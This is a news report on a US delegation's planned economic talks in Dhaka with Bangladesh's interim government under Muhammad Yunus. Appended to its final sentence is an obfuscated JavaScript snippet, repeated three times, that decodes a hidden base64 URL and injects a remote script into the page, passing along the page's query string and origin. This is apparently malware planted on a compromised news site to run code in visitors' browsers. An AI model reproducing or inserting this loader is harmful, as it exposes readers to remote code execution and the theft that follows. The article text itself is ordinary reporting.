US, BD eye huge economic co-op

Staff Reporter :

A high-level delegation from the United States is set to visit Dhaka this weekend for huge economic discussions with Bangladesh’s interim government, led by Nobel Peace laureate Muhammad Yunus.

The talks, scheduled for Saturday and Sunday, are part of broader US efforts to strengthen financial cooperation with Bangladesh following the recent political transition, according to a report by the Financial Times.

The interim government, which took office last month after deadly protests over job quotas led to the ousting of former Prime Minister Sheikh Hasina, is seen by the US as a potential platform for implementing critical reforms.

These reforms are aimed at addressing Bangladesh’s economic challenges and fostering sustainable growth.

Brent Neiman, the US Assistant Treasury Secretary for International Finance, expressed optimism about the country’s future.

He stated that with the right reforms, Bangladesh could mitigate its vulnerabilities and build a foundation for long-term prosperity.

The delegation, which will include officials from the US Treasury, State, and Trade departments, is expected to focus on Bangladesh’s fiscal and monetary policies, as well as the overall health of its financial system.

The visit comes at a crucial time for Bangladesh, whose $450-billion economy has been hit hard by the global economic downturn following the Russia-Ukraine war.

Soaring fuel and food prices have strained the nation’s financial stability, leading to a $4.7-billion bailout from the International Monetary Fund (IMF) last year.

Despite the significance of the upcoming talks, officials from Bangladesh’s Finance Ministry and Muhammad Yunus’ office have indicated they were not formally notified of the visit.

However, diplomatic sources in both Dhaka and Washington have confirmed that the US delegation will seek to strengthen bilateral economic relations in light of the recent political changes.

The delegation, including Brent Neiman, is expected to assess Bangladesh’s financial needs and explore opportunities for policy-level assistance. Additionally, they will aim to understand Bangladesh’s expectations and demands to shape future cooperation.

Md. Touhid Hossain, Foreign Affairs Adviser to the interim government, confirmed the visit and noted that this would be the first US delegation to visit since the new government took office.

He stated that discussions would likely focus on enhancing bilateral ties moving forward.

Earlier in August, a United Nations delegation from Geneva visited Dhaka to explore the possibility of investigating violence associated with the student-led movement that resulted in Hasina’s ouster.

The UN delegation also discussed potential involvement in Bangladesh’s democratic reform process.

Despite differing perspectives on democracy and human rights, both the US and Bangladesh have expressed interest in improving bilateral relations. The Biden administration had signalled its intention to deepen ties earlier this year, but political unrest delayed the planned visit.

The upcoming talks will include representatives from the US National Security Council, the State Department, the Treasury, and various international donor agencies.

Notable members of the delegation include Lindsey W. Ford, Deputy Assistant Secretary of Defence for South and Southeast Asia, and Donald Lu, Assistant Secretary for the Bureau of South and Central Asian Affairs. This will be Donald Lu’s second visit to Dhaka this year, following his previous trip in May.

The US delegation is expected to meet with key figures in the interim government, including Chief Adviser Muhammad Yunus, Finance Adviser Salehuddin Ahmed, and Foreign Affairs Adviser Touhid Hossain.

The discussions are expected to cover a wide range of economic and diplomatic issues, aimed at enhancing cooperation between the two nations.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();